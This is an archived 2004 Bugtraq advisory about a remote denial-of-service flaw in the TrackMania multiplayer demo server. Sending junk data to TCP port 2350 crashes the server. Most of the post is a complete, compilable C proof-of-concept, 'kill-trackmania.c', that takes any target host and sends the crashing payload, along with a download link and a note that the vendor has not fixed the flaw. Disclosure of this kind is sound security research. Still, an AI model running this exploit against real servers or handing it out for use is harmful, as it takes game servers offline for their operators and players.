TrackMania Demo Denial of Service

From: scrap (webmaster_at_securiteinfo.com)
Date: 02/08/04

  • Next message: Shaun Colley: "PalmOS httpd accept() queue overflow DoS vulnerability." 
    To: bugtraq@securityfocus.com
Date: Sun, 8 Feb 2004 17:04:50 +0100

    TrackMania Demo Denial of Service
    The original document can be found at
    http://www.securiteinfo.com/attaques/hacking/trackmaniados.shtml

    .oO Overview Oo.
    TrackMania Demo Denial of Service
    Discovered on 2003, November, 30th
    Vendor: TrackMania Official website http://www.trackmania.com

    TrackMania is a "Stunt Car Racer" like game. The multiplayer demo of this game
    is subject to denial of service.

    .oO Details Oo.
    The multiplayer game use TCP port 2350 to communicate. If you send some
    garbage to this port, it will shutdown the game server.

    .oO Exploit Oo.
    Here is the proof of concept :

    /*
    * [kill-trackmania.c]
    * A remote DoS that affects the Trackmania game server
    *
    * by Scrap
    * webmaster@securiteinfo.com
    * http://www.securiteinfo.com
    *
    * gcc kill-trackmania.c -o kill-trackmania -O2
    *
    */

    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    int main(int argc, char *argv[])
    {
    int sock;
    struct sockaddr_in sin;
    struct hostent *he;
    unsigned long start;
    char buffer[1024];
    unsigned long counter;

    printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");

    if (argc<2)

    {
    printf("Usage: %s target\n\n",argv[0]);
    exit(0);
    }

    if ((he=gethostbyname(argv[1])) == NULL)
    {
    herror("gethostbyname");
    exit(0);
    }

    start=inet_addr(argv[1]);
    counter=ntohl(start);

    sock=socket(AF_INET, SOCK_STREAM, 0);
    bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(2350);

    if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
    {
    perror("connect");
    exit(0);
    }
    printf("\n\t Sending Bomb... \n");
    send(sock, "Bomb from Securiteinfo.com\n\n",17,0);
    close(sock);

    printf("\t Bomb sent...\n");

    }

    Download kill-trackmania.c at
    http://www.securiteinfo.com/download/kill-trackmania.c

    .oO Solution Oo.
    The vendor has been informed and has not solved the problem.

    .oO Discovered by Oo.
    Arnaud Jacques aka scrap
    webmaster@securiteinfo.com
    http://www.securiteinfo.com

  • Next message: Shaun Colley: "PalmOS httpd accept() queue overflow DoS vulnerability."

    Relevant Pages

    • Re: Oblivion - Impressions After 16 Hours
      ... This game gives me almost none of the "feel" that Morrowind had, ... enabling me to put some truly semi-gamebreaking enchants ... as much stuff back to a vendor with me as I can). ...
      (comp.sys.ibm.pc.games.rpg)
    • Re: Any word on restitution for long server delays and queues since Christmas?
      ... What if a patch changes the EULA to ... something I dont agree with after I've played the game for awhile under ... legal for your software vendor to refuse returns when the packaging is ...
      (alt.games.warcraft)
    • Re: Is Linux Unix?
      ... The result is that the vendor ... I bought a game for windows (few month ... windows will remain a niche product blah blah blah... ...
      (Debian-User)
    • [Full-Disclosure] TrackMania Demo Denial of Service
      ... TrackMania is a "Stunt Car Racer" like game. ... struct hostent *he; ... printf("\n\t Sending Bomb... ... The vendor has been informed and has not solved the problem. ...
      (Full-Disclosure)
    • Re: Sequels as good, or better than the originals
      ... Did it bomb at the time? ... >>the max (as the industry does with every other game), ... with slow but steady sales. ... >If a sequel was made which stayed true to the original, ...
      (comp.sys.ibm.pc.games.action)